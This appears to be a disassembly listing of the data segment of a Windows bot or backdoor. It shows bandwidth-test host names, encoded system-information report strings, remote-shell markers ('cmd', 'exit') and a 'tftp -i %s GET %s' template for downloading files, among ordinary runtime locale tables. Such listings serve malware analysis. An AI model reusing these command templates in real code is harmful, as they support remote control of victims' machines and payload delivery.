aWww_xo_net db 'www.xo.net',0 ; DATA XREF: seg000:0041A097o
align 10h
aWww_stanford_e db 'www.stanford.edu',0 ; DATA XREF: seg000:0041A09Eo
align 4
aWww_verio_com db 'www.verio.com',0 ; DATA XREF: seg000:0041A0A5o
align 4
aWww_nocster_co db 'www.nocster.com',0 ; DATA XREF: seg000:0041A0ACo
aWww_rit_edu db 'www.rit.edu',0 ; DATA XREF: seg000:0041A0B3o
aWww_cogentco_c db 'www.cogentco.com',0 ; DATA XREF: seg000:0041A0BAo
align 4
aWww_burst_net db 'www.burst.net',0 ; DATA XREF: seg000:0041A0C1o
align 4
aNitro_ucsc_edu db 'nitro.ucsc.edu',0 ; DATA XREF: seg000:0041A0C8o
align 4
aWww_level3_com db 'www.level3.com',0 ; DATA XREF: seg000:0041A0CFo
align 4
aWww_above_net db 'www.above.net',0 ; DATA XREF: seg000:0041A0D6o
align 4
aWww_easynews_c db 'www.easynews.com',0 ; DATA XREF: seg000:0041A0DDo
align 4
aWww_google_com db 'www.google.com',0 ; DATA XREF: seg000:0041A0E4o
align 4
aWww_lib_nthu_e db 'www.lib.nthu.edu.tw',0 ; DATA XREF: seg000:0041A0EBo
aWww_st_lib_kei db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: seg000:0041A0F2o
align 4
aWww_d1asia_com db 'www.d1asia.com',0 ; DATA XREF: seg000:0041A0F9o
align 4
aWww_nifty_com db 'www.nifty.com',0 ; DATA XREF: seg000:0041A100o
align 4
aYahoo_co_jp db 'yahoo.co.jp',0 ; DATA XREF: seg000:0041A107o
aWww_google_co_ db 'www.google.co.jp',0 ; DATA XREF: seg000:0041A10Eo
align 4
dword_44F784 dd 35310302h, 25B302Ch, 91323003h, 2343003h, 2700253h
; DATA XREF: seg000:0041A1F1o
dd 651F0265h, 5402641Fh, 74736502h, 2C323003h, 3A353103h
dd 2203203h, 6F727545h, 3A026570h, 20642520h, 7469626Bh
dd 220732Fh, 2415355h, 6425203Ah, 69626B20h, 20732F74h
dd 69734102h, 203A0261h, 6B206425h, 2F746962h, 41022073h
dd 61726576h, 3A026567h, 20642520h, 7469626Bh, 732Fh
dword_44F7FC dd 20646425h, 20686425h, 6D6425hdword_44F808 dd 3539h dword_44F80C dd 544Eh dword_44F810 dd 3839h dword_44F814 dd 454Dh dword_44F818 dd 4B32h dword_44F81C dd 5058h a2003 db '2003',0 ; DATA XREF: seg000:0041A49Eo
align 4
a??? db '???',0 ; DATA XREF: seg000:loc_41A4A7o
aSS_6 db '%s (%s)',0 ; DATA XREF: seg000:0041A4CFo
word_44F834 dw 3Fh ; DATA XREF: seg000:loc_41A4E6r
align 4
aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: seg000:loc_41A548o
align 10h
aDdMmmYyyy db 'dd:MMM:yyyy',0
aHhMmSs_0 db 'HH:mm:ss',0
align 4
dd 35310302h, 25B302Ch, 91323003h, 2343003h, 2790253h
dd 2690273h, 266026Eh, 3003026Fh, 31032C32h, 32035D35h
dd 50430220h, 203A0255h, 34364925h, 7A484D75h, 5202202Eh
dd 3A024D41h, 4B732520h, 6F742042h, 2C6C6174h, 4B732520h
dd 72662042h, 202E6565h, 73694402h, 203A026Bh, 74207325h
dd 6C61746Fh, 7325202Ch, 65726620h, 2202E65h, 3A02534Fh
dd 6E695720h, 73776F64h, 20732520h, 2E642528h, 202C6425h
dd 6C697542h, 64252064h, 2202E29h, 64737953h, 3A027269h
dd 2E732520h, 6F480220h, 616E7473h, 3A02656Dh, 20732520h
dd 29732528h, 4302202Eh, 65727275h, 5520746Eh, 2726573h
dd 7325203Ah, 4402202Eh, 2657461h, 7325203Ah, 5402202Eh
dd 2656D69h, 7325203Ah, 5502202Eh, 6D697470h, 203A0265h
dd 2E7325h
dword_44F95C dd 20746F4Eh, 6E6E6F63h, 65746365h, 64hdword_44F96C dd 6C616944h, 70752Dhoff_44F974 dd offset dword_4E414C ; DATA XREF: sub_41A698:loc_41A705o
off_44F978 dd offset loc_412F4C+2 ; DATA XREF: sub_41A698+77o
off_44F97C dd offset loc_412F4C+2 ; DATA XREF: sub_41A698+88o
dword_44F980 dd 35310302h, 25B302Ch, 91323003h, 2343003h, 265024Eh
; DATA XREF: sub_41A698+AEo
dd 2690274h, 266026Eh, 3003026Fh, 31032C32h, 32035D35h
dd 79540220h, 3A026570h, 20732520h, 29732528h, 4902202Eh
dd 64412050h, 73657264h, 203A0273h, 202E7325h, 736F4802h
dd 6D616E74h, 203A0265h, 2E7325h
byte_44F9DC db 63h ; DATA XREF: seg000:0041AA86o
; seg000:0041AA99r
db 6Dh, 64h, 0
aExit db 'exit',0 ; DATA XREF: seg000:0041ABF1o
; seg000:loc_41AC03r
align 4
word_44F9E8 dw 4 ; DATA XREF: sub_41A764+10r
align 4
word_44F9EC dw 1 ; DATA XREF: sub_41A764+24r
align 10h
dword_44F9F0 dd 20424652h, 2E333030h, 0A383030h, 0dword_44FA00 dd 201h word_44FA04 dw 1 ; DATA XREF: seg000:0041A8BEr
align 4
word_44FA08 dw 1 ; DATA XREF: seg000:0041A8F7r
align 4
dword_44FA0C dd 0EBFFh, 51FFhdword_44FA14 dd 0DFFh word_44FA18 dw 72h ; DATA XREF: seg000:0041A903r
align 4
dword_44FA1C dd 6325h aTftpISGetS db 'tftp -i %s GET %s',0 ; DATA XREF: seg000:0041AB11o
align 4
aC_1 db '%c',0 ; DATA XREF: seg000:0041AB3Do
align 4
aC_2 db '%c',0 ; DATA XREF: seg000:0041ABABo
align 4
aC_3 db '%c',0 ; DATA XREF: seg000:0041AC0Bo
align 10h
dword_44FA40 dd 1 ; sub_41AF30+F2r ...
dword_44FA44 dd 1 ; sub_41AF30:loc_41B0E5r ...
dword_44FA48 dd 0FFFFFFFFh ; sub_41B330+9Er ...
byte_44FA4C db 0FDh ; DATA XREF: sub_41AF30+2B7r
; sub_41AF30+2D1r ...
byte_44FA4D db 0DDh ; DATA XREF: sub_41B920+257r
; sub_41B920+39Br ...
byte_44FA4E db 0CDh ; DATA XREF: sub_41AF30+2F1r
; sub_41B330+377r
align 10h
off_44FA50 dd offset aFree ; DATA XREF: sub_41B920+177r
; sub_41B920+1DDr ...
; "Free"
dd offset dword_4394FC+20h
dd offset dword_4394FC+1Ch
dd offset dword_4394FC+14h
dd offset dword_4394FC+0Ch
align 10h
off_44FA70 dd offset dword_4EF080 ; DATA XREF: sub_41EF20+B3o
; sub_41F070+3o ...
align 8
dd offset dword_4EF080
dd 101h
dword_44FA80 dd 0 dd 0
dd 1000h, 0
dword_44FA90 dd 3 dup(0) ; sub_424A30+111o ...
dd 2, 1, 3 dup(0)
dword_44FAB0 dd 3 dup(0) ; sub_4269E0:loc_426A45o
dd 2 dup(2), 83h dup(0)
dword_44FCD0 dd 8 dup(0) ; sub_41F0E0+Co
dword_44FCF0 dd 173Fh dd 9875h, 9873h
off_44FCFC dd offset sub_41F290 ; DATA XREF: sub_41D990+3r
; sub_41D990+Cr
dd offset sub_41F2C0
dd offset sub_41F2C0
dword_44FD08 dd 1B3Fh dword_44FD0C dd 19930520h, 4 dup(0) ; sub_41F966+2o
dword_44FD20 dd 1 ; sub_41CB60+4Er ...
byte_44FD24 db 2Eh ; DATA XREF: sub_426BE0:loc_427A67r
; sub_426BE0+ED2r ...
align 4
dword_44FD28 dd 1 ; sub_431120+296w
align 10h
off_44FD30 dd offset sub_41D9F0 ; DATA XREF: sub_420CA0+22r
dword_44FD34 dd 2 ; sub_42CB30+86r ...
dword_44FD38 dd 0FFFFFFFFh ; seg000:00421086o ...
dword_44FD3C dd 2 ; seg000:00420D49r ...
dd 2 dup(4)
dword_44FD48 dd 0FFFFFFFFh ; seg000:00420D9Cr ...
dd 2 dup(0FFFFFFFFh)
off_44FD54 dd offset aWarning ; DATA XREF: sub_4211A0+284r
; "Warning"
dd offset aError ; "Error"
dd offset dword_439D28+0Ch
dword_44FD60 dd 0 ; sub_4219E0+44r ...
off_44FD64 dd offset dword_4EE9F0 ; DATA XREF: sub_4219A0+29r
; sub_4219E0+8Fr
dd 7 dup(0)
off_44FD84 dd offset dword_4EEA20 ; DATA XREF: sub_4219A0+1Cr
; sub_4219E0:loc_421A49r
dd 3 dup(0)
off_44FD94 dd offset dword_4EEA38 ; DATA XREF: sub_4219A0+Fr
; sub_4219E0+75r
dd 3 dup(0)
off_44FDA4 dd offset dword_4EEA08 ; DATA XREF: sub_4219A0+3r
; sub_4219E0+82r
dd 1Eh dup(0)
off_44FE20 dd offset sub_421C50 ; DATA XREF: sub_41AF30+79r
; sub_41B330+C1r ...
dd 10h
dword_44FE28 dd 3F8h ; sub_421C60+3Cr ...
off_44FE2C dd offset word_44FE36 ; DATA XREF: sub_41CB60+7Cr
; sub_41D460+2Dr ...
off_44FE30 dd offset word_44FE36 ; DATA XREF: seg000:00431B54w
; seg000:00431C0Bw
db 2 dup(0)
word_44FE36 dw 20h ; DATA XREF: seg000:loc_431C01o
; seg000:00431C0Bo ...
unicode 0, < ((((( H>
dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
off_450038 dd offset aNull_0 ; DATA XREF: sub_424CB0:loc_4250F2r
; sub_424CB0+57Cr
; "(null)"
off_45003C dd offset aNull ; DATA XREF: sub_424CB0+514r
; "(null)"
dword_450040 dd 0FFFFFFFFh ; sub_425B50+14r ...
align 8
byte_450048 db 1 ; DATA XREF: seg000:00425F2Fr
db 2, 4, 8
align 10h
dword_450050 dd 3A4h word_450054 dw 8260h ; DATA XREF: seg000:00425F92r
; seg002:004469E0o
dw 8279h
dd 21h, 0
dword_450060 dd 0DFA6h align 8
dd 0A5A1h, 0
dd 0FCE09F81h, 0
dd 0FC807E40h, 0
dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE40h, 0
dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE41h, 0
dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
dd 0FE81h, 0
dd 0FEA17E40h, 0
dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_450140 dd 1 dword_450144 dd 16h dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2
dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h
dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h
dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_4502A8 dd 0D2D0920h, 5Dhdword_4502B0 dd 5Dh, 0 dword_4502B8 dd 0FFFFFFFFh, 0A00h, 8 dup(0) ; sub_424A30:loc_424C29o
dword_4502E0 dd 14h off_4502E4 dd offset aExp ; DATA XREF: sub_429230+2Er
; "exp"
dd 1Dh, 43A180h, 1Ah, 43A17Ch, 1Bh, 43A174h, 1Fh, 43A16Ch
dd 13h, 43A164h, 21h, 43A15Ch, 0Eh, 43A154h, 0Dh, 43A14Ch
dd 0Fh, 43A144h, 10h, 43A13Ch, 5, 43A134h, 1Eh, 43A130h
dd 12h, 43A12Ch, 20h, 43A128h, 0Ch, 43A120h, 0Bh, 43A118h
dd 15h, 43A110h, 1Ch, 43A108h, 19h, 43A100h, 11h, 43A0F8h
dd 18h, 43A0F0h, 16h, 43A0E8h, 17h, 43A0E0h, 22h, 43A0DCh
dd 23h, 43A0D8h, 24h, 43A0D4h
dbl_4503B8 dq 1.797693134862316e308 ; DATA XREF: sub_428DD0+E4r
; sub_428DD0:loc_428EC7r ...
dd 0
dd 0FFF80000h
dbl_4503C8 dq 1.797693134862316e308 ; DATA XREF: sub_428DD0:loc_428F0Ar
; sub_428DD0+167r ...
dd 0
dd 100000h, 0
dd 80000000h
tbyte_4503E0 dt 2.3562723457267347066e313 ; DATA XREF: sub_429620+13r
; sub_429620+2Ar
align 4
tbyte_4503EC dt 1.9149954921904370718e-1233 ; DATA XREF: sub_429620+41r
align 4
off_4503F8 dd offset sub_430640 ; DATA XREF: sub_41F2D0+3w
; sub_424CB0+6ADr
off_4503FC dd offset sub_430640 ; DATA XREF: sub_41F2D0+Dw
; sub_424CB0+6F1r
off_450400 dd offset sub_430640 ; DATA XREF: sub_41F2D0+17w
; sub_426BE0+1138r
off_450404 dd offset sub_430640 ; DATA XREF: sub_41F2D0+21w
; sub_424CB0+6CFr
off_450408 dd offset sub_430640 ; DATA XREF: sub_41F2D0+2Bw
off_45040C dd offset sub_430640 ; DATA XREF: sub_41F2D0+35w
dd offset sub_430650
align 10h
off_450420 dd offset sub_42AB50 ; DATA XREF: sub_42AC00+2Dr
; sub_42AC00+3Dr
dword_450424 dd 43h ; seg002:00450540o ...
dword_450428 dd 43h, 20h dup(0) ; sub_42B320+117o ...
dword_4504AC dd 43h, 20h dup(0) ; sub_42B320+FCo ...
off_450530 dd offset aLc_all ; DATA XREF: seg000:0042AE0Fr
; seg000:0042AE28r ...
; "LC_ALL"
dword_450534 dd 0 ; seg000:0042AFB0r ...
off_450538 dd offset sub_42B4B0 ; DATA XREF: sub_42B080+12Br
dd offset aLc_collate ; "LC_COLLATE"
dd offset dword_450424
dd offset sub_431C50
dd offset aLc_ctype ; "LC_CTYPE"
off_45054C dd offset dword_450424 ; DATA XREF: sub_42B220+F0r
dd offset loc_4318B0
dd offset aLc_monetary ; "LC_MONETARY"
dd offset dword_450424
dd offset sub_431450
dd offset aLc_numeric ; "LC_NUMERIC"
dd offset dword_450424
dd offset sub_431120
dd offset aLc_time ; "LC_TIME"
dd offset dword_450424
dd offset sub_4307A0
dword_450578 dd 0C0000005h, 0Bh, 0 ; seg000:00425D9Eo ...
dd 0C000001Dh, 4, 0
dd 0C0000096h, 4, 0
db 8Dh, 0
dw 0C000h
dd 8, 0
dd 0C000008Eh, 8, 0
dd 0C000008Fh, 8, 0
db 90h
db 2 dup(0), 0C0h
dd 8, 0
dd 0C0000091h, 8, 0
dd 0C0000092h, 8, 0
dd 0C0000093h, 8, 0
dword_4505F0 dd 3 ; sub_42BEA0:loc_42BF4Br ...
dword_4505F4 dd 7 ; sub_42D300+17Dr
dword_4505F8 dd 78h ; seg000:0042D196r
dword_4505FC dd 0Ah ; sub_42C060:loc_42C092r ...
dword_450600 dd 2 ; sub_42CB30+3Dr ...
off_450604 dd offset aR6002FloatingP ; DATA XREF: sub_42CB30+56r
; sub_42CB30+98r ...
; "R6002\r\n- floating point not loaded\r\n"
dd 8, 43A520h, 9, 43A4F4h, 0Ah, 43A4D0h, 10h, 43A4A4h
dd 11h, 43A474h, 12h, 43A450h, 13h, 43A424h, 18h, 43A3ECh
dd 19h, 43A3C4h, 1Ah, 43A38Ch, 1Bh, 43A354h, 1Ch, 43A32Ch
dd 78h, 43A31Ch, 79h, 43A30Ch, 7Ah, 43A2FCh, 0FCh, 43A2F8h
dd 0FFh, 43A2E8h
dword_450690 dd 7080h ; seg000:0042EE60w ...
dword_450694 dd 1 ; seg000:0042EE9Fw ...
dword_450698 dd 0FFFFF1F0h ; seg000:0042EEB7w ...
dword_45069C dd 545350h, 0Fh dup(0)dword_4506DC dd 544450h, 0Fh dup(0)off_45071C dd offset dword_45069C ; DATA XREF: seg000:0042EEDAr
; seg000:0042EF03r ...
off_450720 dd offset dword_4506DC ; DATA XREF: seg000:0042EF20r
; seg000:0042EF4Ar ...
align 8
dword_450728 dd 0FFFFFFFFh ; sub_42F1C0+1Ar ...
dword_45072C dd 0 ; sub_42F1C0+20Fr ...
dword_450730 dd 0 ; sub_42F4C0+13Dw
align 8
dword_450738 dd 0FFFFFFFFh ; seg000:0042EE0Br ...
dword_45073C dd 0 ; sub_42F1C0+21Dr ...
dword_450740 dd 0 ; sub_42F4C0+1Dr ...
dword_450744 dd 0FFFFFFFFh dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h
dd 14Eh
dword_450774 dd 16Dh ; sub_42F4C0+2Cr ...
dword_450778 dd 0FFFFFFFFh dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh
dd 14Dh, 16Ch
dword_4507AC dd 2694h ; seg000:0042870Fr ...
dword_4507B0 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFhdword_4507C8 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fhdword_4507E0 dd 40Ah ; sub_432800+147r
a040a db '040a',0 ; DATA XREF: sub_432800+9Ao
align 4
off_4507EC dd offset aSpanishTraditi ; DATA XREF: sub_432800+ABr
; "Spanish - Traditional Sort"
off_4507F0 dd offset byte_505345 ; DATA XREF: sub_432800+BCo
off_4507F4 dd offset aSpain ; DATA XREF: sub_432800+CDr
; "Spain"
off_4507F8 dd offset byte_505345 ; DATA XREF: sub_432800+DEo
dword_4507FC dd 303538h, 0 a1252 db '1252',0 ; DATA XREF: sub_432800+100o
align 4
dd 40Bh, 62303430h, 0
dd offset aFinnish ; "Finnish"
dd offset word_4E4946
dd offset aFinland ; "Finland"
dd offset word_4E4946
dd 303538h, 0
a1252_0 db '1252',0
align 4
dd 40Ch, 63303430h, 0
dd offset aFrench ; "French"
dd offset dword_414E1C+42Ah
dd offset aFrance ; "France"
dd offset dword_414E1C+42Ah
dd 303538h, 0
a1252_1 db '1252',0
align 4
dd 40Fh, 66303430h, 0
dd offset aIcelandic ; "Icelandic"
dd offset byte_4C5349
dd offset aIceland ; "Iceland"
dd offset byte_4C5349
dd 303538h, 0
a1252_2 db '1252',0
align 10h
dd 41Dh, 64313430h, 0
dd offset aSwedish ; "Swedish"
dd offset byte_455653
dd offset aSweden ; "Sweden"
dd offset byte_455753
dd 303538h, 0
a1252_3 db '1252',0
align 4
dd 42Dh, 64323430h, 0
dd offset aBasque ; "Basque"
dd offset byte_515545
dd offset aSpain ; "Spain"
dd offset byte_505345
dd 303538h, 0
a1252_4 db '1252',0
align 4
db 0Ah
db 8,0
align 4
a080a db '080a',0
align 4
dd offset aSpanish ; "Spanish"
dd offset byte_4D5345
dd offset aMexico ; "Mexico"
dd 58454Dh, 303538h, 0
a1252_5 db '1252',0
align 4
dd 80Ch, 63303830h, 0
dd offset aFrench ; "French"
dd offset loc_425243+3
dd offset aBelgium ; "Belgium"
dd offset word_4C4542
dd 303538h, 0
a1252_6 db '1252',0
align 10h
dd 0C07h, 37306330h, 0
dd offset aGerman ; "German"
dd offset dword_414400+144h
dd offset aAustria ; "Austria"
dd 545541h, 303538h, 0
a1252_7 db '1252',0
align 4
dd 0C09h, 39306330h, 0
dd offset aEnglish ; "English"
dd offset dword_414E1C+29h
dd offset aAustralia ; "Australia"
dd 535541h, 303538h, 0
a1252_8 db '1252',0
align 4
dd 0C0Ah, 61306330h, 0
dd offset aSpanishModernS ; "Spanish - Modern Sort"
dd offset byte_4E5345
dd offset aSpain ; "Spain"
dd offset byte_505345
dd 303538h, 0
a1252_9 db '1252',0
align 4
dd 0C0Ch, 63306330h, 0
dd offset aFrench ; "French"
dd offset loc_435246
dd offset aCanada ; "Canada"
dd offset byte_4E4143
dd 303538h, 0
a1252_10 db '1252',0
align 10h
dd 100Ah, 61303031h, 0
dd offset aSpanish ; "Spanish"
dd offset byte_475345
dd offset aGuatemala ; "Guatemala"
dd offset byte_4D5447
dd 303538h, 0
a1252_11 db '1252',0
align 4
dd 100Ch, 63303031h, 0
dd offset aFrench ; "French"
dd 535246h, 43A764h, 454843h, 303538h, 0
a1252_12 db '1252',0
align 4
dd 140Ah, 61303431h, 0
dd offset aSpanish ; "Spanish"
dd offset loc_435345
dd offset aCostaRica ; "Costa Rica"
dd offset byte_495243
dd 303538h, 0
a1252_13 db '1252',0
align 4
dd 140Ch, 63303431h, 0
dd offset aFrench ; "French"
dd offset word_4C5246
dd offset aLuxembourg ; "Luxembourg"
dd 58554Ch, 303538h, 0
a1252_14 db '1252',0
align 10h
dd 180Ah, 61303831h, 0
dd offset aSpanish ; "Spanish"
dd offset dword_414E1C+529h
dd offset aPanama ; "Panama"
dd offset dword_4E4150
dd 303538h, 0
a1252_15 db '1252',0
align 4
dd 1C09h, 39306331h, 0
dd offset aEnglish ; "English"
dd 534E45h, 43A734h, 46415Ah, 373334h, 0
a1252_16 db '1252',0
align 4
dd 1C0Ah, 61306331h, 0
dd offset aSpanish ; "Spanish"
dd offset dword_445258+0EDh
dd offset aDominicanRepub ; "Dominican Republic"
dd offset dword_4D4F44
dd 303538h, 0
a1252_17 db '1252',0
align 4
db 0Ah
db ' ',0
align 4
a200a db '200a',0
align 10h
dd offset aSpanish ; "Spanish"
dd 565345h, 43A714h, 4E4556h, 303538h, 0
a1252_18 db '1252',0
align 10h
db 0Ah
db '$',0
align 4
a240a db '240a',0
align 4
dd offset aSpanish ; "Spanish"
dd offset byte_4F5345
dd offset aColombia ; "Colombia"
dd offset byte_4C4F43
dd 303538h, 0
a1252_19 db '1252',0
align 4
db 0Ah
db '(',0
align 10h
a280a db '280a',0
align 4
dd offset aSpanish ; "Spanish"
dd 525345h, 43A700h, 524550h, 303538h, 0
a1252_20 db '1252',0
align 4
db 0Ah
db ',',0
align 4
a2c0a db '2c0a',0
align 4
dd offset aSpanish ; "Spanish"
dd 535345h, 43A6F4h, 475241h, 303538h, 0
a1252_21 db '1252',0
align 4
a0 db 0Ah
db '0',0
align 4
a300a db '300a',0
align 10h
dd offset aSpanish ; "Spanish"
dd offset byte_465345
dd offset aEcuador ; "Ecuador"
dd 554345h, 303538h, 0
a1252_22 db '1252',0
align 10h
a4 db 0Ah
db '4',0
align 4
a340a db '340a',0
align 4
dd offset aSpanish ; "Spanish"
dd offset byte_4C5345
dd offset aChile ; "Chile"
dd offset byte_4C4843
dd 303538h, 0
a1252_23 db '1252',0
align 4
a8 db 0Ah
db '8',0
align 10h
a380a db '380a',0
align 4
dd offset aSpanish ; "Spanish"
dd 595345h, 43A6DCh, 595255h, 303538h, 0
a1252_24 db '1252',0
align 4
db 0Ah
db '<',0
align 4
a3c0a db '3c0a',0
align 4
dd offset aSpanish ; "Spanish"
dd 5A5345h, 43A6D0h, 595250h, 303538h, 0
a1252_25 db '1252',0
align 4
word_450C84 dw 0C0Ch, 0C1Ah, 1007h, 436h, 80Ch, 42Dh, 403h, 100Ch
; DATA XREF: sub_4326D0+34r
dw 810h, 81Dh
off_450C98 dd offset aAmerica ; DATA XREF: seg000:00431D7Co
; "america"
dd offset dword_414E1C+539h
dd offset aBritain ; "britain"
dd 524247h, 43A924h, 4E4843h, 43A91Ch, 455A43h, 43A914h
dd 524247h, 43A904h, 524247h, 43A8FCh, 444C4Eh, 43A8F0h
dd 474B48h, 43A8E4h, 4C5A4Eh, 43A8E0h, 4C5A4Eh, 43A8D4h
dd 4E4843h, 43A8C8h, 4E4843h, 43A8BCh, 495250h, 43A8B4h
dd 4B5653h, 43A8A4h, 46415Ah, 43A898h, 524F4Bh, 43A888h
dd 46415Ah, 43A87Ch, 524F4Bh, 43A868h, 4F5454h, 43A944h
dd 524247h, 43A858h, 524247h, 43A848h, 415355h, 43A940h
dd 415355h
off_450D50 dd offset aAmerican ; DATA XREF: seg000:00431D47o
; "american"
dd 554E45h, 43AD30h, 554E45h, 43AD1Ch, 554E45h, 43AD10h
dd 414E45h, 43AD08h, 424C4Eh, 43ACFCh, 434E45h, 43ACF8h
dd 48485Ah, 43ACF4h, 49485Ah, 43ACECh, 534843h, 43ACD8h
dd 48485Ah, 43ACC4h, 534843h, 43ACB0h, 49485Ah, 43AC9Ch
dd 544843h, 43AC8Ch, 424C4Eh, 43AC78h, 554E45h, 43AC6Ch
dd 414E45h, 43AC5Ch, 4C4E45h, 43AC50h, 434E45h, 43AC3Ch
dd 424E45h, 43AC30h, 494E45h, 43AC20h, 4A4E45h, 43AC14h
dd 5A4E45h, 43ABFCh, 534E45h, 43ABE0h, 544E45h, 43ABD4h
dd 474E45h, 43ABC8h, 554E45h, 43ABBCh, 554E45h, 43ABACh
dd 425246h, 43AB9Ch, 435246h, 43AB88h, 4C5246h, 43AB78h
dd 535246h, 43AB68h, 414544h, 43AB54h, 434544h, 43AB40h
dd 4C4544h, 43AB30h, 534544h, 43AB20h, 494E45h, 43AB10h
dd 535449h, 43AB04h, 524F4Eh, 43AAF0h, 524F4Eh, 43AADCh
dd 4E4F4Eh, 43AAC4h, 425450h, 43AAB0h, 535345h, 43AAA0h
dd 425345h, 43AA90h, 4C5345h, 43AA7Ch, 4F5345h, 43AA68h
dd 435345h, 43AA4Ch, 445345h, 43AA3Ch, 465345h, 43AA28h
dd 455345h, 43AA14h, 475345h, 43AA00h, 485345h, 43A9F0h
dd 4D5345h, 43A9E0h, 4E5345h, 43A9CCh, 495345h, 43A9BCh
dd 415345h, 43A9A8h, 5A5345h, 43A998h, 525345h, 43A984h
dd 555345h, 43A974h, 595345h, 43A960h, 565345h, 43A950h
dd 465653h, 43A948h, 534544h, 43A944h, 474E45h, 43A940h
dd 554E45h, 43A93Ch, 554E45h
off_450F58 dd offset off_450F60 ; DATA XREF: sub_4307A0+70w
; sub_4307A0:loc_430841w ...
align 10h
off_450F60 dd offset aSun ; DATA XREF: sub_4307A0:loc_430841o
; seg002:off_450F58o
; "Sun"
dd offset aMon ; "Mon"
dd offset aTue ; "Tue"
dd offset aWed ; "Wed"
dd offset aThu ; "Thu"
dd offset aFri ; "Fri"
dd offset aSat ; "Sat"
dd offset aSunday ; "Sunday"
dd offset aMonday ; "Monday"
dd offset aTuesday ; "Tuesday"
dd offset aWednesday ; "Wednesday"
dd offset aThursday ; "Thursday"
dd offset aFriday ; "Friday"
dd offset aSaturday ; "Saturday"
dd offset aJan ; "Jan"
dd offset aFeb ; "Feb"
dd offset aMar ; "Mar"
dd offset aApr ; "Apr"
dd offset aMay ; "May"
dd offset aJun ; "Jun"
dd offset aJul ; "Jul"
dd offset aAug ; "Aug"
dd offset aSep ; "Sep"
dd offset aOct ; "Oct"
dd offset aNov ; "Nov"
dd offset aDec ; "Dec"
dd offset aJanuary ; "January"
dd offset aFebruary ; "February"
dd offset aMarch ; "March"
dd offset aApril ; "April"
dd offset aMay ; "May"
dd offset aJune ; "June"
dd offset aJuly ; "July"
dd offset aAugust ; "August"
dd offset aSeptember ; "September"
dd offset aOctober ; "October"
dd offset aNovember ; "November"
dd offset dword_43AD88+34h
dd offset dword_43AD88+30h
dd offset dword_43AD88+2Ch
dd offset dword_43AD88+24h
dd offset dword_43AD88+10h
dd offset dword_43AD88+8
align 10h
dword_451010 dd 2Eh, 0 ; seg002:off_451018o
off_451018 dd offset dword_451010 ; DATA XREF: sub_431450+D4w
; sub_431450+F6o ...
off_45101C dd offset dword_4EECF0 ; DATA XREF: sub_431450+E2w
off_451020 dd offset dword_4EECF0 ; DATA XREF: sub_431450+F1w
dd offset dword_4EECF0
dd offset dword_4EECF0
dd offset dword_4EECF0
dd offset dword_4EECF0
dd offset dword_4EECF0
dd offset dword_4EECF0
dd offset dword_4EECF0
dd 2 dup(7F7F7F7Fh)
off_451048 dd offset off_451018 ; DATA XREF: sub_431120:loc_431209r
; sub_431120+F8r ...
align 10h
dword_451050 dd 2 dup(0) dd 4002A000h, 2 dup(0)
dd 4005C800h, 2 dup(0)
dd 4008FA00h, 2 dup(0)
dd 400C9C40h, 2 dup(0)
; ---------------------------------------------------------------------------
push eax
retn
; ---------------------------------------------------------------------------
dw 400Fh
dd 2 dup(0)
dd 4012F424h, 0
dd 80000000h, 40169896h, 0
dd 20000000h, 4019BEBCh, 0
dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h
dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh
dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh
dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
dd 52028A20h, 7525C460h, 0
dword_4511B0 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
; DATA XREF: sub_4365B0+2Ao
dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h
